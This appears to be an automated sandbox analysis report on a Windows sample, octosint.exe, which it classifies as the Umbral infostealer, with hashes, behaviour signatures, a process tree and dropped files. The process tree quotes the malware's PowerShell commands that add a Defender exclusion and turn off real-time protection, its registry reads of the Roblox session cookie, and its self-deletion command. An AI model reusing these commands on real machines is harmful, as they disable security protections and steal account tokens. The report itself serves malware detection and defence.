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Analysis

  • max time kernel
    90s
  • max time network
    95s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    30/11/2024, 09:37

General

  • Target

    octosint.exe

  • Size

    631KB

  • MD5

    3fbddef1a1957c47cc788a7ea3be9bf1

  • SHA1

    5d68695893be73ad26a1b6115ac38a3e72e11cbf

  • SHA256

    f6978810fc08e07982be2acda6f8692bca7011119e15088fcb2ab006de8dece7

  • SHA512

    76cb0b768c15464ae4dc41d90909a1c740de8e2b3f7b8d37f255068e5a0bd0c6d666e68fcfec47f6cca268de5cf24bc2a85800fb3fe3244fe25b60b8f17c5e54

  • SSDEEP

    12288:5oZtL+EP8gGVK9rI8j967NokRRC9iMdRC:XI8LVK9rI8j967NokRRsiMdA

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\octosint.exe
    "C:\Users\Admin\AppData\Local\Temp\octosint.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2308
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4080
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\octosint.exe"
      2⤵
      • Views/modifies file attributes
      PID:4036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\octosint.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1352
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2960
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3276
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:4480
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:1964
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1288
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:4060
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\octosint.exe" && pause
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:3792
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1036

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        627073ee3ca9676911bee35548eff2b8

        SHA1

        4c4b68c65e2cab9864b51167d710aa29ebdcff2e

        SHA256

        85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

        SHA512

        3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        1d3ea4fc04f2e2793ab2b91e9c428f63

        SHA1

        f0a18c9491bf229e1eec8e135e01dcb9d13ef235

        SHA256

        d25d8d12f8c81a4174ffc074fe69fa49bab60553f4aec9f4b0c32c7b902f4147

        SHA512

        bec76dca6bc34f040fc265ca065bb94d76d9e67b507182f7119aa5f98930942aa665b9709b6a59802e28a1c56b94fdad4ed4d7e6cdf9de79f035d5b9773d6897

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        6bddc96a32b9ed8fc70b141ccf4a39b2

        SHA1

        0f33c0699da40a5eadcec646791cf21cdb0dd7c6

        SHA256

        cb3853abe77eb0da8a1caccb49e97a573b6f35570722eb759116a645d724c132

        SHA512

        e41f1597b4129b759e4199db195df1c24e47cc47dc9850fab2d48e44bc3d37dc3658fbfbb62332a0b93c552587d7fab09de1634f605faa2209b8470c2a6eaca6

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        7332074ae2b01262736b6fbd9e100dac

        SHA1

        22f992165065107cc9417fa4117240d84414a13c

        SHA256

        baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

        SHA512

        4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        38ecc5b95c11e5a77558753102979c51

        SHA1

        c0759b08ef377df9979d8835d8a7e464cd8eaf6b

        SHA256

        2eb69abe0af5a2fb5bb313533cef641e25016876b874353f7d737c7ad672c79e

        SHA512

        9bf4ce3bc097bdd0242bd105c936a9c9403d5ac83ec99e6a310591a7b8d26309485f3e0cdc4cba67c322f834c325a2b63a008adb078f3a3307094c4b68a48686

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xzn2q1z.yxs.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1352-9-0x000002006F1F0000-0x000002006F212000-memory.dmp

        Filesize

        136KB

      • memory/1352-13-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

        Filesize

        10.8MB

      • memory/1352-14-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

        Filesize

        10.8MB

      • memory/1352-17-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

        Filesize

        10.8MB

      • memory/1352-3-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

        Filesize

        10.8MB

      • memory/2308-32-0x0000023776710000-0x0000023776760000-memory.dmp

        Filesize

        320KB

      • memory/2308-31-0x0000023776690000-0x0000023776706000-memory.dmp

        Filesize

        472KB

      • memory/2308-33-0x0000023775C30000-0x0000023775C4E000-memory.dmp

        Filesize

        120KB

      • memory/2308-1-0x0000023773DA0000-0x0000023773E44000-memory.dmp

        Filesize

        656KB

      • memory/2308-0-0x00007FFC2A033000-0x00007FFC2A035000-memory.dmp

        Filesize

        8KB

      • memory/2308-68-0x0000023775C60000-0x0000023775C6A000-memory.dmp

        Filesize

        40KB

      • memory/2308-69-0x0000023776360000-0x0000023776372000-memory.dmp

        Filesize

        72KB

      • memory/2308-2-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

        Filesize

        10.8MB

      • memory/2308-88-0x00007FFC2A030000-0x00007FFC2AAF2000-memory.dmp

        Filesize

        10.8MB